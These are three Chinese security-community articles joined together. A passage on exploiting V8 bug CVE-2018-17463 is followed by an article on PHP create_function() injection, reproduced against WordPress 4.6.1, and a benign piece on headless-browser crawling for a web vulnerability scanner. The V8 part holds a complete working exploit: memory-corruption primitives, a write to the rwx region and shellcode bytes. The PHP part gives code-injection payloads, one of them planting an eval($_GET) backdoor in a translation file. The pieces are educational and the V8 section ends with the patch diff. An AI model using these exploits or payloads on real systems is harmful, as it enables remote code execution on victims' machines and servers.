- map: 0x350743c04371 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x29b14b610fd1 <Object map = 0x350743c043c1>
- elements: 0x236c6c482cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x5652a87208f0
- byte_length: 1024
- neuterable
- properties: 0x236c6c482cf1 <FixedArray[0]> {}
- embedder fields = {
(nil)
(nil)
}
$1 = 0
其长度由`byte_length`指定，而实际读写的内存位于`backing_store`，当可以修改一个`ArrayBuffer`的`backing_store`时就可以对任意地址进行读写。而此成员在结构体中的偏移是0x20:
wndbg> x /10gx 0x1d4b8ef8e1a8
0x1d4b8ef8e1a8: 0x0000350743c04371 0x0000236c6c482cf1
0x1d4b8ef8e1b8: 0x0000236c6c482cf1 0x0000000000000400
0x1d4b8ef8e1c8: 0x00005652a87208f0 0x0000000000000002
0x1d4b8ef8e1d8: 0x0000000000000000 0x0000000000000000
0x1d4b8ef8e1e8: 0x0000000000000000 0x0000000000000000
此时我们仅需构造一个对偏移+0x20写的操作就可以控制`ArrayBuffer`的读写内存。此时根据对`FastProperties`的了解，如果构建`Object`为`{x0:{x1:1.1,x2:1.2}}`，则对`x0.x2`的写操作，恰好可以改变对应键值的`backing_store`，造成内存任意写。
因此恶意函数构造如下：
function bad_create(o,value){
o.a;
this.Object.create(o);
let ret = o.${X}.x0.x2;
o.${X}.x0.x2 = value;
return ret;
}
### Shellcode执行
综上，拥有了`addrof`原语和任意地址读写的能力，可以利用`wasm`机制来执行`shellcode`。
例如一个`wasm`实例构造如下：
var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,138,128,128,128,0,2,96,0,1,127,96,1,127,1,127,2,140,128,128,128,0,1,3,101,110,118,4,112,117,116,115,0,1,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,109,101,109,111,114,121,2,0,5,112,52,110,100,97,0,1,10,145,128,128,128,0,1,139,128,128,128,0,1,1,127,65,16,16,0,26,32,0,11,11,150,128,128,128,0,1,0,65,16,11,16,72,97,99,107,101,100,32,98,121,32,80,52,110,100,97,0]);
var wasmImports = {
env: {
puts: function puts (index) {
console.log(utf8ToString(h, index));
}
}
};
let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
let h = new Uint8Array(m.exports.memory.buffer);
let f = m.exports.p4nda;
f();
其中，`f`是一个`JSFunction`对象，只不过其实际执行代码存放于一个`rwx`的内存中，通过写该内存的代码区域，最终调用`f()`，触发来执行`shellcode`。
具体思路如下:
首先，构造`wasm`对象`f`方便`shellcode`执行，并利用`addrof`原语泄露`f`的地址。
然后，定义一个`ArrayBuffer`对象，并利用`gc`机制使其被放入`Old Space`使地址更加稳定。
之后，不断的利用该`ArrayBuffer`对象，泄露并修改其`backing_store`成员指向待读写区域，具体修改顺序为从`JSFucntion`到`rwx`区域的寻址流程：
JSFucntion -(0x18)->SharedFunctionInfo -(0x8)-> WasmExportedFunctionData -(0x10)-> WasmInstanceObject -(0xc8)-> imported_function_targets -(0)-> rwx_area
最终，向`rwx_area`写入`shellcode`，调用`f()`触发。
具体利用效果如下：
### EXP
function gc()
{
/*fill-up the 1MB semi-space page, force V8 to scavenge NewSpace.*/
for(var i=0;i<((1024 * 1024)/0x10);i++)
{
var a= new String();
}
}
function give_me_a_clean_newspace()
{
/*force V8 to scavenge NewSpace twice to get a clean NewSpace.*/
gc()
gc()
}
let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer);
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64;
}
function hex(b) {
return ('0' + b.toString(16)).substr(-2);
}
// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
var res = [];
for (var i = 0; i < bytes.length; i++)
res.push(hex(bytes[i]));
return res.join('');
}
// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
if (hexstr.length % 2 == 1)
throw new TypeError("Invalid hex string");
var bytes = new Uint8Array(hexstr.length / 2);
for (var i = 0; i < hexstr.length; i += 2)
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
return bytes;
}
function hexdump(data) {
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
data = Array.from(data);
var lines = [];
for (var i = 0; i < data.length; i += 16) {
var chunk = data.slice(i, i+16);
var parts = chunk.map(hex);
if (parts.length > 8)
parts.splice(8, 0, ' ');
lines.push(parts.join(' '));
}
return lines.join('\n');
}
// Simplified version of the similarly named python module.
var Struct = (function() {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
var buffer = new ArrayBuffer(8);
var byteView = new Uint8Array(buffer);
var uint32View = new Uint32Array(buffer);
var float64View = new Float64Array(buffer);
return {
pack: function(type, value) {
var view = type; // See below
view[0] = value;
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
},
unpack: function(type, bytes) {
if (bytes.length !== type.BYTES_PER_ELEMENT)
throw Error("Invalid bytearray");
var view = type; // See below
byteView.set(bytes);
return view[0];
},
// Available types.
int8: byteView,
int32: uint32View,
float64: float64View
};
})();
//
// Tiny module that provides big (64bit) integers.
//
// Copyright (c) 2016 Samuel Groß
//
// Requires utils.js
//
// Datatype to represent 64-bit integers.
//
// Internally, the integer is stored as a Uint8Array in little endian byte order.
function Int64(v) {
// The underlying byte array.
var bytes = new Uint8Array(8);
switch (typeof v) {
case 'number':
v = '0x' + Math.floor(v).toString(16);
case 'string':
if (v.startsWith('0x'))
v = v.substr(2);
if (v.length % 2 == 1)
v = '0' + v;
var bigEndian = unhexlify(v, 8);
bytes.set(Array.from(bigEndian).reverse());
break;
case 'object':
if (v instanceof Int64) {
bytes.set(v.bytes());
} else {
if (v.length != 8)
throw TypeError("Array must have excactly 8 elements.");
bytes.set(v);
}
break;
case 'undefined':
break;
default:
throw TypeError("Int64 constructor requires an argument.");
}
// Return a double whith the same underlying bit representation.
this.asDouble = function() {
// Check for NaN
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
throw new RangeError("Integer can not be represented by a double");
return Struct.unpack(Struct.float64, bytes);
};
// Return a javascript value with the same underlying bit representation.
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
// due to double conversion constraints.
this.asJSValue = function() {
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
throw new RangeError("Integer can not be represented by a JSValue");
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
this.assignSub(this, 0x1000000000000);
var res = Struct.unpack(Struct.float64, bytes);
this.assignAdd(this, 0x1000000000000);
return res;
};
// Return the underlying bytes of this number as array.
this.bytes = function() {
return Array.from(bytes);
};
// Return the byte at the given index.
this.byteAt = function(i) {
return bytes[i];
};
// Return the value of this number as unsigned hex string.
this.toString = function() {
return '0x' + hexlify(Array.from(bytes).reverse());
};
// Basic arithmetic.
// These functions assign the result of the computation to their 'this' object.
// Decorator for Int64 instance operations. Takes care
// of converting arguments to Int64 instances if required.
function operation(f, nargs) {
return function() {
if (arguments.length != nargs)
throw Error("Not enough arguments for function " + f.name);
for (var i = 0; i < arguments.length; i++)
if (!(arguments[i] instanceof Int64))
arguments[i] = new Int64(arguments[i]);
return f.apply(this, arguments);
};
}
// this = -n (two's complement)
this.assignNeg = operation(function neg(n) {
for (var i = 0; i < 8; i++)
bytes[i] = ~n.byteAt(i);
return this.assignAdd(this, Int64.One);
}, 1);
// this = a + b
this.assignAdd = operation(function add(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) + b.byteAt(i) + carry;
carry = cur > 0xff | 0;
bytes[i] = cur;
}
return this;
}, 2);
// this = a - b
this.assignSub = operation(function sub(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) - b.byteAt(i) - carry;
carry = cur < 0 | 0;
bytes[i] = cur;
}
return this;
}, 2);
}
// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
var bytes = Struct.pack(Struct.float64, d);
return new Int64(bytes);
};
// Convenience functions. These allocate a new Int64 to hold the result.
// Return -n (two's complement)
function Neg(n) {
return (new Int64()).assignNeg(n);
}
// Return a + b
function Add(a, b) {
return (new Int64()).assignAdd(a, b);
}
// Return a - b
function Sub(a, b) {
return (new Int64()).assignSub(a, b);
}
// Some commonly used numbers.
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);
function utf8ToString(h, p) {
let s = "";
for (i = p; h[i]; i++) {
s += String.fromCharCode(h[i]);
}
return s;
}
function log(x,y = ' '){
console.log("[+] log:", x,y);
}
let OPTIMIZATION_NUM = 10000;
let OBJ_LEN = 0x20;
let X;
let Y;
// use a obj to check whether CVE-2018-17463 exists
function check_vul(){
function bad_create(x){
x.a;
Object.create(x);
return x.b;
}
for (let i = 0;i < OPTIMIZATION_NUM; i++){
let x = {a : 0x1234};
x.b = 0x5678;
let res = bad_create(x);
//log(res);
if( res != 0x5678){
log("CVE-2018-17463 exists in the d8");
return;
}
}
throw "bad d8 version";
}
// check collision between directory mode and fast mode
function getOBJ(){
let res = {a:0x1234};
for (let i = 0; i< OBJ_LEN;i++){
eval(`res.${'b'+i} = -${0x4869 + i};
`);
}
return res;
}
function printOBJ(x){
for(let i = 0;i<OBJ_LEN;i++){
eval(`console.log("log:["+${i}+"] :"+x.${'b'+i})`);
//console.log('['+i+']'+x[i]);
}
}
function findCollision(){
let find_obj = [];
for (let i = 0;i<OBJ_LEN;i++){
find_obj[i] = 'b'+i;
}
eval(`
function bad_create(x){
x.a;
this.Object.create(x);
${find_obj.map((b) => `let ${b} = x.${b};`).join('\n')}
return [${find_obj.join(', ')}];
}
`);
for (let i = 0; i<OPTIMIZATION_NUM;i++){
let tmp = bad_create(getOBJ());
for (let j = 0 ;j<tmp.length;j++){
if(tmp[j] != -(j+0x4869) && tmp[j] < -0x4868 && tmp[j] > -(1+OBJ_LEN +0x4869) ){
log('b'+ j +' & b' + -(tmp[j]+0x4869) +" are collision in directory");
return ['b'+j , 'b' + -(tmp[j]+0x4869)];
}
}
}
throw "not found collision ";
}
// create primitive -> addrof
function getOBJ4addr(obj){
let res = {a:0x1234};
for (let i = 0; i< OBJ_LEN;i++){
if (('b'+i)!= X &&('b'+i)!= Y ){
eval(`res.${'b'+i} = 1.1;
`); }
if (('b'+i)== X){
eval(`
res.${X} = {x1:1.1,x2:1.2};
`);
}
if (('b'+i)== Y){
eval(`
res.${Y} = {y1:obj};
`);
}
}
return res;
}
function addrof(obj){
eval(`
function bad_create(o){
o.a;
this.Object.create(o);
return o.${X}.x1;
}
`);
for (let i = 0;i < OPTIMIZATION_NUM;i++){
let ret = bad_create( getOBJ4addr(obj));
let tmp =Int64.fromDouble(ret).toString();
if (ret!= 1.1){
log(tmp);
return ret;
}
}
throw "not found addrof obj";
}
// create primitive -> Arbitrary write
function getOBJ4read(obj){
let res = {a:0x1234};
for (let i = 0; i< OBJ_LEN;i++){
if (('b'+i)!= X &&('b'+i)!= Y ){
eval(`res.${'b'+i} = {};
`); }
if (('b'+i)== X){
eval(`
res.${X} = {x0:{x1:1.1,x2:1.2}};
`);
}
if (('b'+i)== Y){
eval(`
res.${Y} = {y1:obj};
`);
}
}
return res;
}
function arbitraryWrite(obj,addr){
eval(`
function bad_create(o,value){
o.a;
this.Object.create(o);
let ret = o.${X}.x0.x2;
o.${X}.x0.x2 = value;
return ret;
}
`);
for (let i = 0;i < OPTIMIZATION_NUM;i++){
let ret = bad_create( getOBJ4read(obj),addr);
let tmp =Int64.fromDouble(ret).toString();
if (ret!= 1.2){
return ;
}
}
throw "not found arbitraryWrite";
}
// exploit
function exploit(){
var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,138,128,128,128,0,2,96,0,1,127,96,1,127,1,127,2,140,128,128,128,0,1,3,101,110,118,4,112,117,116,115,0,1,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,109,101,109,111,114,121,2,0,5,112,52,110,100,97,0,1,10,145,128,128,128,0,1,139,128,128,128,0,1,1,127,65,16,16,0,26,32,0,11,11,150,128,128,128,0,1,0,65,16,11,16,72,97,99,107,101,100,32,98,121,32,80,52,110,100,97,0]);
var wasmImports = {
env: {
puts: function puts (index) {
console.log(utf8ToString(h, index));
}
}
};
let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
let h = new Uint8Array(m.exports.memory.buffer);
let f = m.exports.p4nda;
console.log("step 0: Game start");
f();
console.log("step 1: check whether vulnerability exists");
check_vul();
console.log("step 2: find collision");
[X,Y] = findCollision();
let mem = new ArrayBuffer(1024);
give_me_a_clean_newspace();
console.log("step 3: get address of JSFunciton");
let addr = addrof(f);
console.log("step 4: make ArrayBuffer's backing_store -> JSFunciton");
arbitraryWrite(mem,addr);
let dv = new DataView(mem);
SharedFunctionInfo_addr = Int64.fromDouble(dv.getFloat64(0x17,true));
console.log("[+] SharedFunctionInfo addr :"+SharedFunctionInfo_addr);
console.log("step 5: make ArrayBuffer's backing_store -> SharedFunctionInfo");
arbitraryWrite(mem,SharedFunctionInfo_addr.asDouble());
WasmExportedFunctionData_addr = Int64.fromDouble(dv.getFloat64(0x7,true));
console.log("[+] WasmExportedFunctionData addr :"+WasmExportedFunctionData_addr);
console.log("step 6: make ArrayBuffer's backing_store -> WasmExportedFunctionData");
arbitraryWrite(mem,WasmExportedFunctionData_addr.asDouble());
WasmInstanceObject_addr = Int64.fromDouble(dv.getFloat64(0xf,true));
console.log("[+] WasmInstanceObject addr :"+WasmInstanceObject_addr);
console.log("step 7: make ArrayBuffer's backing_store -> WasmInstanceObject");
arbitraryWrite(mem,WasmInstanceObject_addr.asDouble());
imported_function_targets_addr = Int64.fromDouble(dv.getFloat64(0xc7,true));
console.log("[+] imported_function_targets addr :"+imported_function_targets_addr);
console.log("step 8: make ArrayBuffer's backing_store -> imported_function_targets");
arbitraryWrite(mem,imported_function_targets_addr.asDouble());
code_addr = Int64.fromDouble(dv.getFloat64(0,true));
console.log("[+] code addr :"+code_addr);
log("step 9: make ArrayBuffer's backing_store -> rwx_area");
arbitraryWrite(mem,code_addr.asDouble());
console.log("step 10: write shellcode for poping up a calculator");
let shellcode_calc = [72, 49, 201, 72, 129, 233, 247, 255, 255, 255, 72, 141, 5, 239, 255, 255, 255, 72, 187, 124, 199, 145, 218, 201, 186, 175, 93, 72, 49, 88, 39, 72, 45, 248, 255, 255, 255, 226, 244, 22, 252, 201, 67, 129, 1, 128, 63, 21, 169, 190, 169, 161, 186, 252, 21, 245, 32, 249, 247, 170, 186, 175, 21, 245, 33, 195, 50, 211, 186, 175, 93, 25, 191, 225, 181, 187, 206, 143, 25, 53, 148, 193, 150, 136, 227, 146, 103, 76, 233, 161, 225, 177, 217, 206, 49, 31, 199, 199, 141, 129, 51, 73, 82, 121, 199, 145, 218, 201, 186, 175, 93];
let write_tmp = new Uint8Array(mem);
write_tmp.set(shellcode_calc);
console.log("[+] Press Any key to execute Shellcode");
readline();
f();
}
exploit();
## 漏洞补丁
漏洞补丁很简单，在`commit
52a9e67a477bdb67ca893c25c145ef5191976220`中，将`CreateObject`的`flag`改为`Operator::kNoProperties`。
diff --git a/src/compiler/js-operator.cc b/src/compiler/js-operator.cc
index 5ed3f74..94b018c 100644
--- a/src/compiler/js-operator.cc
+++ b/src/compiler/js-operator.cc
@@ -622,7 +622,7 @@ CompareOperationHint CompareOperationHintOf(const Operator* op) {
V(CreateKeyValueArray, Operator::kEliminatable, 2, 1) \
V(CreatePromise, Operator::kEliminatable, 0, 1) \
V(CreateTypedArray, Operator::kNoProperties, 5, 1) \
- V(CreateObject, Operator::kNoProperties, 1, 1) \
+ V(CreateObject, Operator::kNoWrite, 1, 1) \
V(ObjectIsArray, Operator::kNoProperties, 1, 1) \
V(HasProperty, Operator::kNoProperties, 2, 1) \
V(HasInPrototypeChain, Operator::kNoProperties, 2, 1) \
## Reference
[1] <http://phrack.org/papers/jit_exploitation.html>
[2] <https://www.jianshu.com/p/f23c5cad7160>
[3] <https://ponyfoo.com/articles/an-introduction-to-speculative-optimization-in-v8>
[4] <https://darksi.de/d.sea-of-nodes/>
[5] <https://v8.dev/docs/turbofan> | 社区文章 |
本文来自i春秋作者：[xiaoye](http://bbs.ichunqiu.com/thread-14485-1-1.html)
### 前言
最近天好冷，论坛也有点冷清~~，写篇文章吧。打算把php中的敏感点写成个系列，前面说了宽字节注入和php反序列，今天来看看一个不算很常见的函数的锅
------create_function()函数
### 一、函数定义
在PHP中使用create_function()创建匿名函数，seay大牛的解释很清楚，引用一下：
> 1. 获取参数, 函数体;
>
> 2. 拼凑一个”function __lambda_func (参数) { 函数体;} “的字符串;
>
> 3. eval;
>
> 4. 通过__lambda_func在函数表中找到eval后得到的函数体, 找不到就出错;
>
> 5. 定义一个函数名:”\000_lambda_” . count(anonymous_functions)++;
>
> 6. 用新的函数名替换__lambda_func;
>
> 7. 返回新的函数。
>
>
其实我们只需要关注前三点即可，自己写个例子讲一下吧：
<?php
$id = $_GET['id'];
$q = 'echo'.$id.'is'.$a.";";
$sy = create_function('$a',$q);
?>
这个匿名函数相当于这样的创建函数过程:
function niming($a){
echo $id.'is'.$a;
}
q所指向的字符串的值是匿名函数的函数体
正常情况下，我们会输入http://localhost/create_function.php?id=1
此类的url来进行访问，但是看了看上面的创建函数的过程，能不能做一些手脚呢？
### 二、函数漏洞利用
http://localhost/create_function.php?id=1;}phpinfo();/*访问之：
woca，phpinfo()函数执行了！我们来分析一下执行过程，payload访问后相当于如下：
function niming($a){
echo 1;}phpinfo();/*.'is'.$a;
}
这就解释通了吧，我们用;}闭合了函数，phpinfo();后的/*会注释掉之后的代码，而我们之前说过，create_function函数是调用了eval的，所以phpinfo()函数得以执行。
### 三、wp下代码执行漏洞的复现
复现下wordpress代码执行的漏洞，方便起见，读者可下载wp<=4.6.1的中文版（内置了中文语言包）复现安装不再多说了，别忘了安装之前建立个数据库就行，我们直接定位到漏洞产生处：
代码wp-includes/pomo/translations.php：
代码如下：
/**
* Makes a function, which will return the right translation index, according to the
* plural forms header
* @param int $nplurals
* @param string $expression
*/
function make_plural_form_function($nplurals, $expression) {
$expression = str_replace('n', '$n', $expression);
$func_body = "
\$index = (int)($expression);
return (\$index < $nplurals)? \$index : $nplurals - 1;";
return create_function('$n', $func_body);
}
出现了create_function()函数，看看函数体可不可以利用：
$func_body = "
\$index = (int)($expression);
return (\$index < $nplurals)? \$index : $nplurals - 1;";
可以看到$expression等参数并没有过滤，那么参数是从哪里传过来的呢？看看注释plural forms header 这是对字体文件的操作，参数来源于
wp-content\languages\zh_CN.po
"Plural-Forms: nplurals=1; plural=0这行就是上面的函数体接收的两个参数 那我们来修改一下：
"Plural-Forms: nplurals=1; plural=0);}eval($_GET[w]);/*"
原理不用我多说了，和我前面举得例子基本一致： **);}闭合了函数，eval($_GET[x]);执行后门代码，/*注释后面代码，相当于：**
p.s：用notepad++修改后，再用poedit程序打开保存，因为wp调用的是mo文件，是po文件编译后的执行文件，用poedit保存后才能编译更新mo文件（如下图设置：文件
--首选项--把保存自动编译mo文件勾选上，这样我们保存po文件即可编译mo文件供wp加载调用）。
> 由于访问每个文件时都要用这个对字体文件解析的结果对文件进行翻译，所以我们访问任何文件都可以触发这个payload
别人复现时的解释，我们来看看执行情况：
复现成功，代码执行了。
### 四、总结
关于wp<=4.6.1代码执行漏洞的复现过程都大同小异，给出参考： https://www.seebug.org/vuldb/ssvid-92459
读者嫌搭建环境麻烦，可以在i春秋试验机上做实验 http://www.ichunqiu.com/course/56013
重点还是理解create_function()函数的执行过程吧，要想避免此类的错误i，简单的方法可以做一个黑名单，过滤函数体中可控的变量 给出参考：
$not_allowed = array(";", ")", "}");
$experssion = str_replace($not_allowed, "", $expression);
文章就写到这里，吐槽一句，写文章的编辑器太坑，这是第二遍写这篇文章了。。
想了解更多网络信息安全技术相关的知识，请关注i春秋社区。
原文链接：http://bbs.ichunqiu.com/thread-14485-1-1.html
* * * | 社区文章 |
**作者：fate0
来源：[小米安全中心](https://mp.weixin.qq.com/s/uoM5xlxufULvRmaVq72uiQ "小米安全中心") **
**相关阅读：
[《爬虫基础篇[Web 漏洞扫描器]》](https://paper.seebug.org/537/ "《爬虫基础篇\[Web 漏洞扫描器\]》")
[《爬虫调度篇[Web 漏洞扫描器]》](https://paper.seebug.org/730/ "《爬虫调度篇\[Web 漏洞扫描器\]》")
[《漏洞扫描技巧篇 [Web 漏洞扫描器]》](https://paper.seebug.org/1018/ "《漏洞扫描技巧篇 \[Web
漏洞扫描器\]》")**
#### 0x00 前言
上一篇主要讲了如何通过修改 Chromium 代码为 Web 漏洞扫描器的爬虫打造一个稳定可靠的 headless 浏览器。这篇我们从浏览器底层走到上层，从
C++ 切换到 JavaScript，讲一下如何通过向浏览器页面注入 JavaScript 代码来尽可能地获取页面上的链接信息。
#### 0x01 注入 JavaScript 的时间点
首先我们要解决的第一个问题是：在什么时间点向浏览器页面注入 JavaScript 代码？
答案非常简单， 在页面加载前，我们希望能够注入一段 JavaScript 代码以便于能够 Hook、备份各种未被污染的函数，
在页面加载后，我们希望能够注入一段 JavaScript 代码以便于能够进行遍历各个元素、触发各种事件、获取链接信息等操作。
那么下一个问题又来了：怎么定义页面加载前、页面加载后？
页面加载前的定义非常简单，只要能在用户代码执行前执行我们注入的 JavaScript
代码即可，也就是在页面创建之后、用户代码执行之前的时间段对于我们来说都算是页面加载前，CDP 刚好提供了这么一个 API
`Page.addScriptToEvaluateOnNewDocument` 能够让我们在页面加载前注入 JavaScript 代码。
接下来考虑一下该如何定义页面加载后。最简单的方法就是不管三七二一，每个页面都加载 30s
(即便是空白的页面)，随后再注入我们的代码，但很明显这会浪费很多资源，我们需要根据每个页面的复杂度来控制加载时间。可能会有同学说我们可以监听 `load`
事件，等待页面加载结束之后再注入代码，那我们考虑一个比较常见的场景，在某个页面上刚好有那么一两个图片字体资源加载速度特别慢，导致 `load`
迟迟未被触发(甚至不触发)，但这些资源其实我们并不在乎，完全可以直接注入我们代码，所以只等待 `load` 事件也并不是一个特别好的选择。
我们先看一下加载一个页面的过程，除了会触发 `load` 事件之外还会触发什么事件：
下面我们简单地介绍一下上面几个我们会用到的事件
之前解释过 `load` 事件可能对我们来说太晚了，但是现在 `DOMContentLoaded`
事件对我们来说又太早了，因为用户代码也可能会绑定这个事件然后操作 DOM，我们肯定是希望能够在页面稳定之后再注入我们的代码，所以在 `load` 和
`DOMContentLoaded`
之间某个时间点对我们来说比较合适，可惜并没有这样一个特别的事件存在，所以我个人觉得比较好的方案是将上面各个事件结合一起使用。
我们先说一下这几个事件的触发顺序，首先这几个事件触发顺序不一定，例如触发时间 `load` 事件不一定比 `DOMContentLoaded`
晚，`load` 也不一定比 `networkAlmostIdle` 晚。唯一能确定的就是 `networkAlmostIdle` 一定比
`networkIdle` 晚。在一般的情况下时间顺序是 `DOMContentLoaded` -> `networkAlmostIdle` ->
`networkIdle` -> `load`。
所以一般的解决方案：
1. 等待 `load`，同时设定等待超时时间，`load` 超时直接注入代码，同时等待 `DOMContentLoaded`事件
2. `DOMContentLoaded` 事件触发，接着等待 `networkAlmostIdle`，同时设定等待超时时间，超时直接注入代码
3. `networkAlmostIdle` 事件触发，接着等待 `networkIdle` 同时设定等待超时时间，超时直接注入代码
如果 `load` 事件在其他事件前触发，那就直接注入代码。
#### 0x02 DOM 构建前
解决了在什么时候注入 JavaScript 代码的问题，接下来我们该开始考虑第一阶段该注入什么代码了。
由于在第一阶段的时间点，DOM 树还未构建，所以我们所注入的代码均不能操作 DOM，能干的事情也就只有 Hook、备份 BOM 中的函数。
##### basic
我们先把一些会导致页面阻塞、关闭的函数给 Hook 了，例如：
同时也需要在 CDP 中处理 `Page.javascriptDialogOpening` 事件，因为还有类似 `onbeforeunload`
这样的弹窗。
##### location
还记得我们上一篇通过修改 Chromium 代码将 `location` 变成可伪造的事情了吗？就是为了能够在这里对 `location` 直接
Hook，直接看代码：
这里还需要注意的是 `doucment.location` 需要等待 DOM 构建结束之后才能 hook, 所以需要注册
`DOMContentLoaded` 事件来 hook `document.location`。
##### 网络
因为之前我们修改了 `Chromium` 代码使得 `window.open` 无法新建窗口，这样在 CDP 中也没法获取 `window.open`
想打开的链接信息，所以我们还需要在代码中 Hook `window.open` 函数：
还有我们比较常用的 AJAX：
hook XHR 时要考虑的问题就是在 XHR 正在发送请求的时候，需不需要暂停我们的其他操作（如触发事件）？
我们注入的代码的下一个操作可能会中断正在发送的 XHR 请求，导致更多链接的丢失， 比较典型的例子就是：[AJAX
Demo](http://testphp.vulnweb.com/AJAX/index.php "AJAX Demo")，这个问题没有标准答案。
`WebSocket`、`EventSource`、`fetch` 和 XHR 差不多：
###### 时间
我们还需要 hook 两个定时器函数：
* `setTimeout`
* `setInterval`
因为可能用户代码会延迟或者定期做一些操作，我们可能等不来那么长的时间，所以我们要给这些定时器做一个加速， 也就是 Hook 之后修改相对应的 delay
为更小的值，同时加速之后也要 hook Date 类来同步时间。
##### 锁定
我们可以 hook 这些函数，那么其他人也可以继续 hook 这些函数，但一般对这些函数进行 hook 的人都不是什么好人， 被别人继续 hook
之后可能会影响到我们的代码，所以我们还需要锁定这些基础函数。
例子：
结果：
第一阶段我们能做的事情也做得差不多了，剩下的事情就交给第二阶段的代码干了。
#### 0x03 遍历节点
第二阶段，也就是页面稳定后，我们肯定是要先遍历 DOM 中的各个节点， 然后才能获取节点上的链接信息，以及触发节点上绑定的事件，所以这里我们看一下获取
DOM 中所有的节点，有哪些方法：
* CDP 的 `DOM.querySelectorAll`
* document.all
* document.querySelectorAll
* TreeWalker
我们一个一个的排除， 首先排除 CDP，因为如果使用 CDP 遍历各个节点，那就意味着后续的对节点的操作也要继续使用 CDP 才能进行，其速度远没有在一个
Context 内的代码操作 DOM 快。 接着排除 `document.all`(`HTMLAllCollection`，动态元素集合) 和
`document.querySelectorAll`(`NodeList`, 静态元素集合)，因为这两个都只是元素集合，而不是节点集合， 并不包含
text, comment 节点。最后就剩下 TreeWalker 了。
TreeWalker 也有两种玩法，一种是先获取所有的节点，然后在触发各个节点上的事件，另外一种是边遍历节点，边触发事件。
可能会有同学觉得第二种方法比较优雅，我们看一下使用第二种方法的一种情况：
结果：
是的，如果 TreeWalker 刚好走到一个节点，触发了事件使得该节点离开了 DOM 树，那 TreeWalker 就走不下去了，
所以比较保险的方法就是在页面稳定后收集一份静态的节点列表，再触发事件，也就是使用 TreeWalker 的第一种玩法。
#### 0x04 事件触发
在收集到一份静态节点列表，获取静态节点列表的链接信息之后，我们就该考虑一下如何触发各个节点上的事件了。
首先，我们来谈一下如何触发鼠标、键盘相关的事件，主要方法有两：
* dispatchEvent
* CDP 的 Input.dispatchMouseEvent
我们使用一个简单的例子看一下两者最大的差别：
使用 CDP 测试两者区别：
结果：
`dispatchEvent` 和 `Input.dispatchMouseEvent` 这两者最大的区别就是事件来源是否是真实的用户点击， 虽说
`isTrusted` 也就是一个改 Chromium 代码就能解决的问题，但我们也没法保证还有没有其他黑科技来检测是否事件是否来自真实用户。
然而我还是觉得 CDP 实在太慢，所以还是继续选择使用 `dispatchEvent` 来触发各种事件。
接下来我们要考虑一下如何使用 `dispatchEvent` 触发事件， 可能有些同学觉得，我们可以扫描所有元素节点，收集内联事件，对于动态添加的事件，可以
Hook addEventListener 获取到， 最后再挨个触发元素相对应的事件，其实这样做是有问题的。
我们还是先看看一个例子：
例子将事件绑定在 container 内，等事件冒泡到 container，再通过 event.target 区分元素。
如果按照之前的思路，我们的代码将会在 container 中触发一个点击事件，而忽略了 container 下的两个按钮，所以之前的思路并不合理。
我个人的想法是，每个元素都只触发常用的事件，比如说 click、dbclick、mouseover 等事件，忽略一些非主流事件。
只触发常见的键盘、鼠标事件让我们的行为更像是一个正常人类的行为，这样也减少了被反爬虫机制带入坑的可能性。
另外，说到爬虫行为做到和正常人类类似，还有一个小细节，那就是元素是否在可见区域， 以前都是直接将浏览器的 viewpoint 设置最大，现在我们使用
`element.scrollIntoViewIfNeeded` 将滚动条滚动到元素的位置，然后再触发事件。
#### 0x05 新节点
那么问题又来了，由于我们各种点击、敲击键盘、尝试触发各种操作而产生新的节点，我们该怎么办？
肯定还是要继续处理这些新节点，但是怎么找到这些新节点，难道还要重新再扫一遍 DOM 查找新节点？ 有没有一个方法可以获取到变化的属性和节点？
在 HTML5 中就刚好有这么一个类 `MutationObserver`，我们看看例子：
按顺序点击 btn1 和 btn2 的结果：
所以我们完全可以利用 MutationObserver
作深度优先的扫描，如果弹出新的节点，那就优先处理新的节点。每次都是先静态扫描新的节点列表，然后再尝试触发新增节点列表的事件。
但是值得注意的是 MutationObserver
并不会实时将变更元素传回来，而是收集一个时间段的元素再传回来，所以未能及时切换到新的节点继续触发事件也是正常的事情。
#### 0x06 自动填写表单
OK，事件我们触发了，新节点我们也处理了，这里我们还需要对一些元素进行特殊处理，比如说自动填写表单内的输入元素。
这一小节没什么难度，主要是判定哪些地方该填名字，哪些地方该填邮箱，哪些地方该填号码，
需要根据不同情况输入对应的数据。另外还要注意的是在填写数据的时候还要触发对应的事件，例如填写 `<input type="text">` 的时候，
我们需要把鼠标移动到 input 元素上，对应触发 mouseover、mouseenter、mousemove 消息， 接着要鼠标点击一下输入点，对应
mousedown、mouseup、click 消息， 然后鼠标移开转到其他元素去，对应 mousemove、mouseout、mouseleave 消息。
这里还有个小建议，所有的用户输入都带上一个可识别的词， 例如我们自定义词为 CasterJS，email 处就填写 casterjs @gmail.com，
addr 处就写 casterjs road， 至于为什么下一篇再说。
